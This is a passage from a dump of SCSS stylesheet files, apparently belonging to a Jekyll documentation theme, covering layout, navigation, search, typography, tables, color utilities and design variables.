}\n\n  .anchor-heading:hover,\n  .anchor-heading:focus,\n  h1:hover > .anchor-heading,\n  h2:hover > .anchor-heading,\n  h3:hover > .anchor-heading,\n  h4:hover > .anchor-heading,\n  h5:hover > .anchor-heading,\n  h6:hover > .anchor-heading {\n    svg {\n      visibility: visible;\n    }\n  }\n\n  summary {\n    cursor: pointer;\n  }\n\n  h1,\n  h2,\n  h3,\n  h4,\n  h5,\n  h6,\n  #toctitle {\n    position: relative;\n    margin-top: 1.5em;\n    margin-bottom: 0.25em;\n\n    + table,\n    + .table-wrapper,\n    + .code-example,\n    + .highlighter-rouge,\n    + .sectionbody .listingblock {\n      margin-top: 1em;\n    }\n\n    + p:not(.label) {\n      margin-top: 0;\n    }\n  }\n\n  > h1:first-child,\n  > h2:first-child,\n  > h3:first-child,\n  > h4:first-child,\n  > h5:first-child,\n  > h6:first-child,\n  > .sect1:first-child > h2,\n  > .sect2:first-child > h3,\n  > .sect3:first-child > h4,\n  > .sect4:first-child > h5,\n  > .sect5:first-child > h6 {\n    margin-top: $sp-2;\n  }\n}\n"
  },
  {
    "path": "_sass/custom/custom.scss",
    "content": "// custom SCSS (or CSS) goes here\n"
  },
  {
    "path": "_sass/custom/setup.scss",
    "content": "// custom setup code goes here\n"
  },
  {
    "path": "_sass/labels.scss",
    "content": "// Labels (not the form kind)\n\n.label,\n.label-blue {\n  display: inline-block;\n  padding: 0.16em 0.56em;\n  margin-right: $sp-2;\n  margin-left: $sp-2;\n  color: $white;\n  text-transform: uppercase;\n  vertical-align: middle;\n  background-color: $blue-100;\n  @include fs-2;\n\n  border-radius: 12px;\n}\n\n.label-green {\n  background-color: $green-200;\n}\n\n.label-purple {\n  background-color: $purple-100;\n}\n\n.label-red {\n  background-color: $red-200;\n}\n\n.label-yellow {\n  color: $grey-dk-200;\n  background-color: $yellow-200;\n}\n"
  },
  {
    "path": "_sass/layout.scss",
    "content": "// The basic two column layout\n\n.side-bar {\n  z-index: 0;\n  display: flex;\n  flex-wrap: wrap;\n  /*background-color: #1b1a1c;*/\n  background-color: #ffffff;\n\n  @include mq(md) {\n    flex-flow: column nowrap;\n    position: fixed;\n    width: $nav-width-md;\n    height: 100%;\n    border-right: $border $border-color;\n    align-items: flex-end;\n  }\n\n  @include mq(lg) {\n    width: calc((100% - #{$nav-width + $content-width}) / 2 + #{$nav-width});\n    min-width: $nav-width;\n  }\n}\n\n.main {\n  @include mq(md) {\n    position: relative;\n    max-width: $content-width;\n    margin-left: $nav-width-md;\n  }\n\n  @include mq(lg) {\n    // stylelint-disable function-name-case\n    // disable for Max(), we want to use the CSS max() function\n    margin-left: Max(\n      #{$nav-width},\n      calc((100% - #{$nav-width + $content-width}) / 2 + #{$nav-width})\n    );\n    // stylelint-enable function-name-case\n  }\n}\n\n.main-content-wrap {\n  @include container;\n\n  padding-top: $gutter-spacing-sm;\n  padding-bottom: $gutter-spacing-sm;\n\n  @include mq(md) {\n    padding-top: $gutter-spacing;\n    padding-bottom: $gutter-spacing;\n  }\n}\n\n.main-header {\n  z-index: 0;\n  display: none;\n  background-color: #1b1a1c;\n\n  @include mq(md) {\n    display: flex;\n    justify-content: space-between;\n    height: $header-height;\n    background-color: $body-background-color;\n    border-bottom: $border $border-color;\n  }\n\n  &.nav-open {\n    display: block;\n\n    @include mq(md) {\n      display: flex;\n    }\n  }\n}\n\n.site-nav,\n.site-header,\n.site-footer {\n  width: 100%;\n\n  @include mq(lg) {\n    width: $nav-width;\n  }\n}\n\n.site-nav {\n  display: none;\n\n  &.nav-open {\n    display: block;\n  }\n\n  @include mq(md) {\n    display: block;\n    padding-top: $sp-8;\n    padding-bottom: $gutter-spacing-sm;\n    overflow-y: auto;\n    flex: 1 1 auto;\n  }\n}\n\n.site-header {\n  display: flex;\n  min-height: $header-height;\n  align-items: center;\n\n  @include mq(md) {\n    height: $header-height;\n    max-height: $header-height;\n    border-bottom: $border $border-color;\n  }\n}\n\n.site-title {\n  @include container;\n\n  flex-grow: 1;\n  display: flex;\n  height: 100%;\n  padding-right: 1rem !important;\n  padding-left: 1rem !important;\n  align-items: center;\n  padding-top: $sp-3;\n  padding-bottom: $sp-3;\n  color: $body-heading-color;\n  @include fs-6;\n\n  @include mq(md) {\n    padding-top: $sp-2;\n    padding-bottom: $sp-2;\n  }\n}\n\n@if variable-exists(logo) {\n  .site-logo {\n    width: 100%;\n    height: 100%;\n    background-image: url($logo);\n    background-repeat: no-repeat;\n    background-position: left center;\n    background-size: contain;\n  }\n}\n\n.site-button {\n  display: flex;\n  height: 100%;\n  padding: $gutter-spacing-sm;\n  align-items: center;\n}\n\n@include mq(md) {\n  .site-header .site-button {\n    display: none;\n  }\n}\n\n.site-title:hover {\n  background-image: linear-gradient(\n    -90deg,\n    rgba($feedback-color, 1) 0%,\n    rgba($feedback-color, 0.8) 80%,\n    rgba($feedback-color, 0) 100%\n  );\n}\n\n.site-button:hover {\n  background-image: linear-gradient(\n    -90deg,\n    rgba($feedback-color, 1) 0%,\n    rgba($feedback-color, 0.8) 100%\n  );\n}\n\n// stylelint-disable selector-max-type\n\nbody {\n  position: relative;\n  padding-bottom: $sp-10;\n  overflow-y: scroll;\n\n  @include mq(md) {\n    position: static;\n    padding-bottom: 0;\n  }\n}\n\n// stylelint-enable selector-max-type\n\n.site-footer {\n  @include container;\n\n  position: absolute;\n  bottom: 0;\n  left: 0;\n  padding-top: $sp-4;\n  padding-bottom: $sp-4;\n  color: $grey-dk-000;\n  @include fs-2;\n\n  @include mq(md) {\n    position: static;\n    justify-self: end;\n  }\n}\n\n.icon {\n  width: $sp-5;\n  height: $sp-5;\n  color: $link-color;\n}\n"
  },
  {
    "path": "_sass/modules.scss",
    "content": "// Import external dependencies\n@import \"./vendor/normalize.scss/normalize\";\n\n// Modules\n@import \"./base\";\n@import \"./layout\";\n@import \"./content\";\n@import \"./navigation\";\n@import \"./typography\";\n@import \"./labels\";\n@import \"./buttons\";\n@import \"./search\";\n@import \"./tables\";\n@import \"./code\";\n@import \"./utilities/utilities\";\n@import \"./print\";\n@import \"./skiptomain\";\n"
  },
  {
    "path": "_sass/navigation.scss",
    "content": "// Main nav, breadcrumb, etc...\n// stylelint-disable selector-no-type, max-nesting-depth, selector-max-compound-selectors, selector-max-type, selector-max-specificity\n\n.nav-list {\n  padding: 0;\n  margin-top: 0;\n  margin-bottom: 0;\n  list-style: none;\n\n  .nav-list-item {\n    @include fs-4;\n\n    position: relative;\n    margin: 0;\n\n    @include mq(md) {\n      @include fs-3;\n    }\n\n    .nav-list-link {\n      display: block;\n      min-height: $nav-list-item-height-sm;\n      padding-top: $sp-1;\n      padding-bottom: $sp-1;\n      line-height: #{$nav-list-item-height-sm - 2 * $sp-1};\n      @if $nav-list-expander-right {\n        padding-right: $nav-list-item-height-sm;\n        padding-left: $gutter-spacing-sm;\n      } @else {\n        padding-right: $gutter-spacing-sm;\n        padding-left: $nav-list-item-height-sm;\n      }\n\n      @include mq(md) {\n        min-height: $nav-list-item-height;\n        line-height: #{$nav-list-item-height - 2 * $sp-1};\n        @if $nav-list-expander-right {\n          padding-right: $nav-list-item-height;\n          padding-left: $gutter-spacing;\n        } @else {\n          padding-right: $gutter-spacing;\n          padding-left: $nav-list-item-height;\n        }\n      }\n\n      &.external > svg {\n        width: $sp-4;\n        height: $sp-4;\n        vertical-align: text-bottom;\n      }\n\n      &.active {\n        font-weight: 600;\n        text-decoration: none;\n      }\n\n      &:hover,\n      &.active {\n        background-image: linear-gradient(\n          -90deg,\n          rgba($feedback-color, 1) 0%,\n          rgba($feedback-color, 0.8) 80%,\n          rgba($feedback-color, 0) 100%\n        );\n      }\n    }\n\n    .nav-list-expander {\n      position: absolute;\n      @if $nav-list-expander-right {\n        right: 0;\n      }\n\n      width: $nav-list-item-height-sm;\n      height: $nav-list-item-height-sm;\n      padding: #{$nav-list-item-height-sm * 0.25};\n      color: $link-color;\n\n      @include mq(md) {\n        width: $nav-list-item-height;\n        height: $nav-list-item-height;\n        padding: #{$nav-list-item-height * 0.25};\n      }\n\n      &:hover {\n        background-image: linear-gradient(\n          -90deg,\n          rgba($feedback-color, 1) 0%,\n          rgba($feedback-color, 0.8) 100%\n        );\n      }\n\n      @if $nav-list-expander-right {\n        svg {\n          transform: rotate(90deg);\n        }\n      }\n    }\n\n    > .nav-list {\n      display: none;\n      padding-left: $sp-3;\n      list-style: none;\n\n      .nav-list-item {\n        position: relative;\n\n        .nav-list-link {\n          color: $nav-child-link-color;\n        }\n\n        .nav-list-expander {\n          color: $nav-child-link-color;\n        }\n      }\n    }\n\n    &.active {\n      > .nav-list-expander svg {\n        @if $nav-list-expander-right {\n          transform: rotate(-90deg);\n        } @else {\n          transform: rotate(90deg);\n        }\n      }\n\n      > .nav-list {\n        display: block;\n      }\n    }\n  }\n}\n\n.nav-category {\n  padding: $sp-2 $gutter-spacing-sm;\n  font-weight: 600;\n  text-align: start;\n  text-transform: uppercase;\n  border-bottom: $border $border-color;\n  @include fs-2;\n\n  @include mq(md) {\n    padding: $sp-2 $gutter-spacing;\n    margin-top: $gutter-spacing-sm;\n    text-align: start;\n\n    &:first-child {\n      margin-top: 0;\n    }\n  }\n}\n\n.nav-list.nav-category-list {\n  > .nav-list-item {\n    margin: 0;\n\n    > .nav-list {\n      padding: 0;\n\n      > .nav-list-item {\n        > .nav-list-link {\n          color: $link-color;\n        }\n\n        > .nav-list-expander {\n          color: $link-color;\n        }\n      }\n    }\n  }\n}\n\n// Aux nav\n\n.aux-nav {\n  height: 100%;\n  overflow-x: auto;\n  @include fs-2;\n\n  .aux-nav-list {\n    display: flex;\n    height: 100%;\n    padding: 0;\n    margin: 0;\n    list-style: none;\n  }\n\n  .aux-nav-list-item {\n    display: inline-block;\n    height: 100%;\n    padding: 0;\n    margin: 0;\n  }\n\n  @include mq(md) {\n    padding-right: $gutter-spacing-sm;\n  }\n}\n\n// Breadcrumb nav\n\n.breadcrumb-nav {\n  @include mq(md) {\n    margin-top: -$sp-4;\n  }\n}\n\n.breadcrumb-nav-list {\n  padding-left: 0;\n  margin-bottom: $sp-3;\n  list-style: none;\n}\n\n.breadcrumb-nav-list-item {\n  display: table-cell;\n  @include fs-2;\n\n  &::before {\n    display: none;\n  }\n\n  &::after {\n    display: inline-block;\n    margin-right: $sp-2;\n    margin-left: $sp-2;\n    color: $grey-dk-000;\n    content: \"/\";\n  }\n\n  &:last-child {\n    &::after {\n      content: \"\";\n    }\n  }\n}\n"
  },
  {
    "path": "_sass/print.scss",
    "content": "// stylelint-disable selector-max-specificity, selector-max-id, selector-max-type, selector-no-qualifying-type\n\n@media print {\n  .site-footer,\n  .site-button,\n  #edit-this-page,\n  #back-to-top,\n  .site-nav,\n  .main-header {\n    display: none !important;\n  }\n\n  .side-bar {\n    width: 100%;\n    height: auto;\n    border-right: 0 !important;\n  }\n\n  .site-header {\n    border-bottom: 1px solid $border-color;\n  }\n\n  .site-title {\n    font-size: $root-font-size !important;\n    font-weight: 700 !important;\n  }\n\n  .text-small {\n    font-size: 8pt !important;\n  }\n\n  pre.highlight {\n    border: 1px solid $border-color;\n  }\n\n  .main {\n    max-width: none;\n    margin-left: 0;\n  }\n}\n"
  },
  {
    "path": "_sass/search.scss",
    "content": "// Search input and autocomplete\n\n.search {\n  position: relative;\n  z-index: 2;\n  flex-grow: 1;\n  height: $sp-10;\n  padding: $sp-2;\n  transition: padding linear #{$transition-duration * 0.5};\n\n  @include mq(md) {\n    position: relative !important;\n    width: auto !important;\n    height: 100% !important;\n    padding: 0;\n    transition: none;\n  }\n}\n\n.search-input-wrap {\n  position: relative;\n  z-index: 1;\n  height: $sp-8;\n  overflow: hidden;\n  border-radius: $border-radius;\n  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08);\n  transition: height linear #{$transition-duration * 0.5};\n\n  @include mq(md) {\n    position: absolute;\n    width: 100%;\n    max-width: $search-results-width;\n    height: 100% !important;\n    border-radius: 0;\n    box-shadow: none;\n    transition: width ease $transition-duration;\n  }\n}\n\n.search-input {\n  position: absolute;\n  width: 100%;\n  height: 100%;\n  padding: $sp-2 $gutter-spacing-sm $sp-2 #{$gutter-spacing-sm + $sp-5};\n  font-size: 16px;\n  color: $body-text-color;\n  background-color: #1b1a1c;\n  border-top: 0;\n  border-right: 0;\n  border-bottom: 0;\n  border-left: 0;\n  border-radius: 0;\n\n  @include mq(md) {\n    padding: $sp-2 $gutter-spacing-sm $sp-2 #{$gutter-spacing + $sp-5};\n    font-size: 14px;\n    background-color: $body-background-color;\n    transition: padding-left linear #{$transition-duration * 0.5};\n  }\n\n  &:focus {\n    outline: 0;\n\n    + .search-label .search-icon {\n      color: $link-color;\n    }\n  }\n}\n\n.search-label {\n  position: absolute;\n  display: flex;\n  height: 100%;\n  padding-left: $gutter-spacing-sm;\n\n  @include mq(md) {\n    padding-left: $gutter-spacing;\n    transition: padding-left linear #{$transition-duration * 0.5};\n  }\n\n  .search-icon {\n    width: #{$sp-4 * 1.2};\n    height: #{$sp-4 * 1.2};\n    align-self: center;\n    color: $grey-dk-000;\n  }\n}\n\n.search-results {\n  position: absolute;\n  left: 0;\n  display: none;\n  width: 100%;\n  max-height: calc(100% - #{$sp-10});\n  overflow-y: auto;\n  background-color: $search-background-color;\n  border-bottom-right-radius: $border-radius;\n  border-bottom-left-radius: $border-radius;\n  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08);\n\n  @include mq(md) {\n    top: 100%;\n    width: $search-results-width;\n    max-height: calc(100vh - 200%) !important;\n  }\n}\n\n.search-results-list {\n  padding-left: 0;\n  margin-bottom: $sp-1;\n  list-style: none;\n  @include fs-4;\n\n  @include mq(md) {\n    @include fs-3;\n  }\n}\n\n.search-results-list-item {\n  padding: 0;\n  margin: 0;\n}\n\n.search-result {\n  display: block;\n  padding: $sp-1 $sp-3;\n\n  &:hover,\n  &.active {\n    background-color: $feedback-color;\n  }\n}\n\n.search-result-title {\n  display: block;\n  padding-top: $sp-2;\n  padding-bottom: $sp-2;\n\n  @include mq(sm) {\n    display: inline-block;\n    width: 40%;\n    padding-right: $sp-2;\n    vertical-align: top;\n  }\n}\n\n.search-result-doc {\n  display: flex;\n  align-items: center;\n  word-wrap: break-word;\n\n  &.search-result-doc-parent {\n    opacity: 0.5;\n    @include fs-3;\n\n    @include mq(md) {\n      @include fs-2;\n    }\n  }\n\n  .search-result-icon {\n    width: $sp-4;\n    height: $sp-4;\n    margin-right: $sp-2;\n    color: $link-color;\n    flex-shrink: 0;\n  }\n\n  .search-result-doc-title {\n    overflow: auto;\n  }\n}\n\n.search-result-section {\n  margin-left: #{$sp-4 + $sp-2};\n  word-wrap: break-word;\n}\n\n.search-result-rel-url {\n  display: block;\n  margin-left: #{$sp-4 + $sp-2};\n  overflow: hidden;\n  color: $search-result-preview-color;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n  @include fs-1;\n}\n\n.search-result-previews {\n  display: block;\n  padding-top: $sp-2;\n  padding-bottom: $sp-2;\n  padding-left: $sp-4;\n  margin-left: $sp-2;\n  color: $search-result-preview-color;\n  word-wrap: break-word;\n  border-left: $border;\n  border-left-color: $border-color;\n  @include fs-2;\n\n  @include mq(sm) {\n    display: inline-block;\n    width: 60%;\n    padding-left: $sp-2;\n    margin-left: 0;\n    vertical-align: top;\n  }\n}\n\n.search-result-preview + .search-result-preview {\n  margin-top: $sp-1;\n}\n\n.search-result-highlight {\n  font-weight: bold;\n}\n\n.search-no-result {\n  padding: $sp-2 $sp-3;\n  @include fs-3;\n}\n\n.search-button {\n  position: fixed;\n  right: $sp-4;\n  bottom: $sp-4;\n  display: flex;\n  width: $sp-9;\n  height: $sp-9;\n  background-color: $search-background-color;\n  border: 1px solid rgba($link-color, 0.3);\n  border-radius: #{$sp-9 * 0.5};\n  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08);\n  align-items: center;\n  justify-content: center;\n}\n\n.search-overlay {\n  position: fixed;\n  top: 0;\n  left: 0;\n  z-index: 1;\n  width: 0;\n  height: 0;\n  background-color: rgba(0, 0, 0, 0.3);\n  opacity: 0;\n  transition: opacity ease $transition-duration, width 0s $transition-duration,\n    height 0s $transition-duration;\n}\n\n.search-active {\n  .search {\n    position: fixed;\n    top: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    padding: 0;\n  }\n\n  .search-input-wrap {\n    height: $sp-10;\n    border-radius: 0;\n\n    @include mq(md) {\n      width: $search-results-width;\n      box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08);\n    }\n  }\n\n  .search-input {\n    background-color: $search-background-color;\n\n    @include mq(md) {\n      padding-left: 2.3rem;\n    }\n  }\n\n  .search-label {\n    @include mq(md) {\n      padding-left: 0.6rem;\n    }\n  }\n\n  .search-results {\n    display: block;\n  }\n\n  .search-overlay {\n    width: 100%;\n    height: 100%;\n    opacity: 1;\n    transition: opacity ease $transition-duration, width 0s, height 0s;\n  }\n\n  @include mq(md) {\n    .main {\n      position: fixed;\n      right: 0;\n      left: 0;\n    }\n  }\n\n  .main-header {\n    padding-top: $sp-10;\n\n    @include mq(md) {\n      padding-top: 0;\n    }\n  }\n}\n"
  },
  {
    "path": "_sass/skiptomain.scss",
    "content": "// Skipnav\n// Skip to main content\n\na.skip-to-main {\n  left: -999px;\n  position: absolute;\n  top: auto;\n  width: 1px;\n  height: 1px;\n  overflow: hidden;\n  z-index: -999;\n}\n\na.skip-to-main:focus,\na.skip-to-main:active {\n  color: $link-color;\n  background-color: $body-background-color;\n  left: auto;\n  top: auto;\n  width: 30%;\n  height: auto;\n  overflow: auto;\n  margin: 10px 35%;\n  padding: 5px;\n  border-radius: 15px;\n  border: 4px solid $btn-primary-color;\n  text-align: center;\n  font-size: 1.2em;\n  z-index: 999;\n}\n"
  },
  {
    "path": "_sass/support/_functions.scss",
    "content": "@function rem($size, $unit: \"\") {\n  $rem-size: $size / $root-font-size;\n\n  @if $unit == false {\n    @return #{$rem-size};\n  } @else {\n    @return #{$rem-size}rem;\n  }\n}\n"
  },
  {
    "path": "_sass/support/_variables.scss",
    "content": "// Typography\n\n$body-font-family: system-ui, -apple-system, blinkmacsystemfont, \"Segoe UI\",\n  roboto, \"Helvetica Neue\", arial, sans-serif !default;\n$mono-font-family: \"SFMono-Regular\", menlo, consolas, monospace !default;\n$root-font-size: 16px !default; // Base font-size for rems\n$body-line-height: 1.4 !default;\n$content-line-height: 1.6 !default;\n$body-heading-line-height: 1.25 !default;\n\n// Font size\n// `-sm` suffix is the size at the small (and above) media query\n\n$font-size-1: 9px !default;\n$font-size-1-sm: 10px !default;\n$font-size-2: 11px !default; // h4 - uppercased!, h6 not uppercased, text-small\n$font-size-3: 12px !default; // h5\n$font-size-4: 14px !default;\n$font-size-5: 16px !default; // h3\n$font-size-6: 18px !default; // h2\n$font-size-7: 20px !default;\n$font-size-8: 32px !default; // h1\n$font-size-9: 36px !default;\n$font-size-10: 42px !default;\n$font-size-10-sm: 48px !default;\n\n// Colors\n\n$white: #fff !default;\n$grey-dk-000: #959396 !default;\n$grey-dk-100: #5c5962 !default;\n$grey-dk-200: #44434d !default;\n$grey-dk-250: #302d36 !default;\n$grey-dk-300: #1b1a1c !default;\n$grey-lt-000: #f5f6fa !default;\n$grey-lt-100: #eeebee !default;\n$grey-lt-200: #ecebed !default;\n$grey-lt-300: #e6e1e8 !default;\n$purple-000: #7253ed !default;\n$purple-100: #5e41d0 !default;\n$purple-200: #4e26af !default;\n$purple-300: #381885 !default;\n$blue-000: #2c84fa !default;\n$blue-100: #2869e6 !default;\n$blue-200: #264caf !default;\n$blue-300: #183385 !default;\n$green-000: #41d693 !default;\n$green-100: #11b584 !default;\n$green-200: #009c7b !default;\n$green-300: #026e57 !default;\n$yellow-000: #ffeb82 !default;\n$yellow-100: #fadf50 !default;\n$yellow-200: #f7d12e !default;\n$yellow-300: #e7af06 !default;\n$red-000: #f77e7e !default;\n$red-100: #f96e65 !default;\n$red-200: #e94c4c !default;\n$red-300: #dd2e2e !default;\n\n// Spacing\n\n$spacing-unit: 1rem; // 1rem == 16px\n\n$spacers: (\n  sp-0: 0,\n  sp-1: $spacing-unit * 0.25,\n  sp-2: $spacing-unit * 0.5,\n  sp-3: $spacing-unit * 0.75,\n  sp-4: $spacing-unit,\n  sp-5: $spacing-unit * 1.5,\n  sp-6: $spacing-unit * 2,\n  sp-7: $spacing-unit * 2.5,\n  sp-8: $spacing-unit * 3,\n  sp-9: $spacing-unit * 3.5,\n  sp-10: $spacing-unit * 4,\n) !default;\n$sp-1: map-get($spacers, sp-1) !default; // 0.25 rem == 4px\n$sp-2: map-get($spacers, sp-2) !default; // 0.5  rem == 8px\n$sp-3: map-get($spacers, sp-3) !default; // 0.75 rem == 12px\n$sp-4: map-get($spacers, sp-4) !default; // 1    rem == 16px\n$sp-5: map-get($spacers, sp-5) !default; // 1.5  rem == 24px\n$sp-6: map-get($spacers, sp-6) !default; // 2    rem == 32px\n$sp-7: map-get($spacers, sp-7) !default; // 2.5  rem == 40px\n$sp-8: map-get($spacers, sp-8) !default; // 3    rem == 48px\n$sp-9: map-get($spacers, sp-9) !default; // 3.5  rem == 56px\n$sp-10: map-get($spacers, sp-10) !default; // 4  rem == 64px\n\n// Borders\n\n$border: 1px solid !default;\n$border-radius: 4px !default;\n$border-color: $grey-lt-100 !default;\n\n// Grid system\n\n$gutter-spacing: $sp-6 !default;\n$gutter-spacing-sm: $sp-4 !default;\n$nav-width: 264px !default;\n$nav-width-md: 248px !default;\n$nav-list-item-height: $sp-6 !default;\n$nav-list-item-height-sm: $sp-8 !default;\n$nav-list-expander-right: true;\n$content-width: 800px !default;\n$header-height: 60px !default;\n$search-results-width: $content-width - $nav-width !default;\n$transition-duration: 400ms;\n\n// Media queries in pixels\n\n$media-queries: (\n  xs: 320px,\n  sm: 500px,\n  md: $content-width,\n  lg: $content-width + $nav-width,\n  xl: 1400px,\n) !default;\n"
  },
  {
    "path": "_sass/support/mixins/_buttons.scss",
    "content": "// Colored button\n\n@mixin btn-color($fg, $bg) {\n  color: $fg;\n  background-color: darken($bg, 2%);\n  background-image: linear-gradient(lighten($bg, 5%), darken($bg, 2%));\n  box-shadow: 0 1px 3px rgba(0, 0, 0, 0.25), 0 4px 10px rgba(0, 0, 0, 0.12);\n\n  &:hover,\n  &.zeroclipboard-is-hover {\n    color: $fg;\n    background-color: darken($bg, 4%);\n    background-image: linear-gradient((lighten($bg, 2%), darken($bg, 4%)));\n  }\n\n  &:active,\n  &.selected,\n  &.zeroclipboard-is-active {\n    background-color: darken($bg, 5%);\n    background-image: none;\n    box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15);\n  }\n\n  &.selected:hover {\n    background-color: darken($bg, 10%);\n  }\n}\n"
  },
  {
    "path": "_sass/support/mixins/_layout.scss",
    "content": "// Media query\n\n// Media query mixin\n// Usage:\n// @include mq(md) {\n//   ..medium and up styles\n// }\n@mixin mq($name) {\n  // Retrieves the value from the key\n  $value: map-get($media-queries, $name);\n\n  // If the key exists in the map\n  @if $value {\n    // Prints a media query based on the value\n    @media (min-width: rem($value)) {\n      @content;\n    }\n  } @else {\n    @warn \"No value could be retrieved from `#{$media-query}`. Please make sure it is defined in `$media-queries` map.\";\n  }\n}\n\n// Responsive container\n\n@mixin container {\n  padding-right: $gutter-spacing-sm;\n  padding-left: $gutter-spacing-sm;\n\n  @include mq(md) {\n    padding-right: $gutter-spacing;\n    padding-left: $gutter-spacing;\n  }\n}\n"
  },
  {
    "path": "_sass/support/mixins/_typography.scss",
    "content": "@mixin fs-1 {\n  font-size: $font-size-1 !important;\n\n  @include mq(sm) {\n    font-size: $font-size-1-sm !important;\n  }\n}\n\n@mixin fs-2 {\n  font-size: $font-size-2 !important;\n\n  @include mq(sm) {\n    font-size: $font-size-3 !important;\n  }\n}\n\n@mixin fs-3 {\n  font-size: $font-size-3 !important;\n\n  @include mq(sm) {\n    font-size: $font-size-4 !important;\n  }\n}\n\n@mixin fs-4 {\n  font-size: $font-size-4 !important;\n\n  @include mq(sm) {\n    font-size: $font-size-5 !important;\n  }\n}\n\n@mixin fs-5 {\n  font-size: $font-size-5 !important;\n\n  @include mq(sm) {\n    font-size: $font-size-6 !important;\n  }\n}\n\n@mixin fs-6 {\n  font-size: $font-size-6 !important;\n\n  @include mq(sm) {\n    font-size: $font-size-7 !important;\n    line-height: $body-heading-line-height;\n  }\n}\n\n@mixin fs-7 {\n  font-size: $font-size-7 !important;\n  line-height: $body-heading-line-height;\n\n  @include mq(sm) {\n    font-size: $font-size-8 !important;\n  }\n}\n\n@mixin fs-8 {\n  font-size: $font-size-8 !important;\n  line-height: $body-heading-line-height;\n\n  @include mq(sm) {\n    font-size: $font-size-9 !important;\n  }\n}\n\n@mixin fs-9 {\n  font-size: $font-size-9 !important;\n  line-height: $body-heading-line-height;\n\n  @include mq(sm) {\n    font-size: $font-size-10 !important;\n  }\n}\n\n@mixin fs-10 {\n  font-size: $font-size-10 !important;\n  line-height: $body-heading-line-height;\n\n  @include mq(sm) {\n    font-size: $font-size-10-sm !important;\n  }\n}\n"
  },
  {
    "path": "_sass/support/mixins/mixins.scss",
    "content": "@import \"./layout\";\n@import \"./buttons\";\n@import \"./typography\";\n"
  },
  {
    "path": "_sass/support/support.scss",
    "content": "@import \"./variables\";\n@import \"./functions\";\n@import \"./mixins/mixins\";\n"
  },
  {
    "path": "_sass/tables.scss",
    "content": "// Tables\n// stylelint-disable max-nesting-depth, selector-no-type, selector-max-type\n\n.table-wrapper {\n  display: block;\n  width: 100%;\n  max-width: 100%;\n  margin-bottom: $sp-5;\n  overflow-x: auto;\n  border-radius: $border-radius;\n  box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08);\n}\n\ntable {\n  display: table;\n  min-width: 100%;\n  border-collapse: separate;\n}\n\nth,\ntd {\n  @include fs-3;\n\n  min-width: 120px;\n  padding: $sp-2 $sp-3;\n  background-color: $table-background-color;\n  border-bottom: $border rgba($border-color, 0.5);\n  border-left: $border $border-color;\n\n  &:first-of-type {\n    border-left: 0;\n  }\n}\n\ntbody {\n  tr {\n    &:last-of-type {\n      th,\n      td {\n        border-bottom: 0;\n      }\n\n      td {\n        padding-bottom: $sp-3;\n      }\n    }\n  }\n}\n\nthead {\n  th {\n    border-bottom: $border $border-color;\n  }\n}\n"
  },
  {
    "path": "_sass/typography.scss",
    "content": "// Typography\n// stylelint-disable selector-no-type, selector-max-type, selector-max-specificity, selector-max-id\n\nh1,\n.text-alpha {\n  @include fs-8;\n\n  font-weight: 300;\n}\n\nh2,\n.text-beta,\n#toctitle {\n  @include fs-6;\n}\n\nh3,\n.text-gamma {\n  @include fs-5;\n}\n\nh4,\n.text-delta {\n  @include fs-2;\n\n  font-weight: 400;\n  text-transform: uppercase;\n  letter-spacing: 0.1em;\n}\n\nh4 code {\n  text-transform: none;\n}\n\nh5,\n.text-epsilon {\n  @include fs-3;\n}\n\nh6,\n.text-zeta {\n  @include fs-2;\n}\n\n.text-small {\n  @include fs-2;\n}\n\n.text-mono {\n  font-family: $mono-font-family !important;\n}\n\n.text-left {\n  text-align: left !important;\n}\n\n.text-center {\n  text-align: center !important;\n}\n\n.text-right {\n  text-align: right !important;\n}\n"
  },
  {
    "path": "_sass/utilities/_colors.scss",
    "content": "// Utility classes for colors\n\n// Text colors\n\n.text-grey-dk-000 {\n  color: $grey-dk-000 !important;\n}\n\n.text-grey-dk-100 {\n  color: $grey-dk-100 !important;\n}\n\n.text-grey-dk-200 {\n  color: $grey-dk-200 !important;\n}\n\n.text-grey-dk-250 {\n  color: $grey-dk-250 !important;\n}\n\n.text-grey-dk-300 {\n  color: $grey-dk-300 !important;\n}\n\n.text-grey-lt-000 {\n  color: $grey-lt-000 !important;\n}\n\n.text-grey-lt-100 {\n  color: $grey-lt-100 !important;\n}\n\n.text-grey-lt-200 {\n  color: $grey-lt-200 !important;\n}\n\n.text-grey-lt-300 {\n  color: $grey-lt-300 !important;\n}\n\n.text-blue-000 {\n  color: $blue-000 !important;\n}\n\n.text-blue-100 {\n  color: $blue-100 !important;\n}\n\n.text-blue-200 {\n  color: $blue-200 !important;\n}\n\n.text-blue-300 {\n  color: $blue-300 !important;\n}\n\n.text-green-000 {\n  color: $green-000 !important;\n}\n\n.text-green-100 {\n  color: $green-100 !important;\n}\n\n.text-green-200 {\n  color: $green-200 !important;\n}\n\n.text-green-300 {\n  color: $green-300 !important;\n}\n\n.text-purple-000 {\n  color: $purple-000 !important;\n}\n\n.text-purple-100 {\n  color: $purple-100 !important;\n}\n\n.text-purple-200 {\n  color: $purple-200 !important;\n}\n\n.text-purple-300 {\n  color: $purple-300 !important;\n}\n\n.text-yellow-000 {\n  color: $yellow-000 !important;\n}\n\n.text-yellow-100 {\n  color: $yellow-100 !important;\n}\n\n.text-yellow-200 {\n  color: $yellow-200 !important;\n}\n\n.text-yellow-300 {\n  color: $yellow-300 !important;\n}\n\n.text-red-000 {\n  color: $red-000 !important;\n}\n\n.text-red-100 {\n  color: $red-100 !important;\n}\n\n.text-red-200 {\n  color: $red-200 !important;\n}\n\n.text-red-300 {\n  color: $red-300 !important;\n}\n\n// Background colors\n\n.bg-grey-dk-000 {\n  background-color: $grey-dk-000 !important;\n}\n\n.bg-grey-dk-100 {\n  background-color: $grey-dk-100 !important;\n}\n\n.bg-grey-dk-200 {\n  background-color: $grey-dk-200 !important;\n}\n\n.bg-grey-dk-250 {\n  background-color: $grey-dk-250 !important;\n}\n\n.bg-grey-dk-300 {\n  background-color: 